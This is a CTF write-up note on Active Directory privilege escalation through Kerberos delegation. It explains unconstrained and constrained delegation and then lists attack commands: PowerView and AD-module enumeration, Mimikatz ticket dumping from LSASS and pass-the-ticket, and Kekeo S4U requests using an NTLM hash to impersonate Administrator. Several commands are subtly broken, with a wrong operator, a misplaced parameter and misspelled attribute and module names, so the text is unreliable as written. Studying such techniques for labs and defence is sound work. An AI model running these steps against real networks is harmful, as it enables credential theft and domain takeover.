CTF-Writeups/Active Directory/Domain Privilege Escalation/4-Delegation.md

Domain Privilege Escalation - Delegation

Kerberos delegation allows to re use user's credentials to access resources hosted on a different server , this is done in mult-tier service where kerberos double hop is required

Delegation could look like this where a user authenticates to web server , web server makes requests to database server but not as web service account but as the user account (that has authenticated)

Steps in delegation

• User provides credentials to domain controller (DC)

• DC returns a Ticket Granting Ticket (TGT)

• User requests a Ticket Granting Service (TGS) for the service he wants to connects , let's say web service

• User sends TGT and TGS to web server

• Web service account uses the user's TGT to request to another service to use , let's assume database service

• Web server's account connects to database server as the user

Types of delegations

There are 2 types of delegations

• Unconstrained Delegation
• Constratined Delegation

Unconstrained Delegation

Unconstrained delegation allows first hop server to request access to any service on any computer in domain

The way this delegation works is that domain controller places Ticket Granting Ticket (TGT) in Ticket Granting Service (TGS) , TGT is extracted from the TGS and TGT is stored in LSASS by the server , this way server can reuse user's TGT to access any resource in the domain as the user.

PowerView

Discover domain computers which have unconstrained delegation

Get-NetComputer -UnConstrained

AD Module

Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -e $True}

Mimikatz

After finding that which computer or service has unconstrained delegation enabled , we will need to make a domain admin login to that service/computer and with administrative privileges on that computer we can use mimikatz to list the avaiable tickets in the session , as in unconstrained delegation , TGT will be loaded in LSASS so we can use that to get domain admin

Check if any domain admin token is available

Invoke-Mimikatz -Command '"sekurlsa::tickets"'

By running this command we can see a administrator token so use the command below to do ptt pass the ticket to load it into the current sessions

Invoke-Mimikatz -Command '"kerberos::ptt location_of_the_ticket(C:\Users\user\Documents\ticket_something)"'

Constrained Delegation

Constrained delegation allows first hop to request access to specific services on specific computers. It allows access only to specified services on specified computers as a user.

It doesn't use kerberos when authenticating the user ,when a user authenticates to a web service , and the user requests something from database ,web server makes a requests using the authorized user account, to impersonate the user , Service For user (S4U) extension is used that has two extensions

• Service for user to self (S4U2Self) , it allows a service to obtain forwardable TGS to itself on behalf of a user. This must have TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
• Service for User to proxy (S4U2Proxy) , it allows a service to obtain a TGS for second service on behalf of authorized user. This is controlled by msDS-AllowedToDelegateTo attribute that contains list of SPNs to which user tokens can be forwarded

Steps in constrained delegation

• A user authenticates to web serivce using non kerberos authentication mechanism.

• Web service requests a ticket from DC/KDC for the user's account without supplying the password as web service account.

• KDC checks if web service account has TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION attribute and also if the user isn't blocked for delegation , then it forwards a S4U2Self ticket for the user's account.

• Service then passes this ticket back to KDC and a request a service ticket for the another service let's say Database service.

• KDC checks if msDS-AllowedToDelegateTo is on the web service account ,if service is listed then it will return the token for database service (S4U2proxy).

• Web service can now authenticate to database service as the user's TGS to that service.

PowerView (dev)

Enumerate users and computers with constrained delegations enabled

Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

AD Module

Enumerate users and computers with constrained delegations enabled

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null" -Properties msDS-AllowedToDeleagteTo}

Kekeo.exe

Using asktgt we will first get the TGT of the service account that is allowed to delegate

tgt::ask /user:username /domain:domainname /rc4:ntlm_hash_of_user

Using s4u , we request a TGS as any user on the service which we have permission to delegate

tgs::s4u /tgt:TGS_Ticket_of_service_account /user:Administrator@domainname /service:mssql

Now using mimikatz , we can use pass the ticket to load the ticket in powershell session

Invoke-Mimikatz -Command '"kerebros::ptt administrator_ticket"'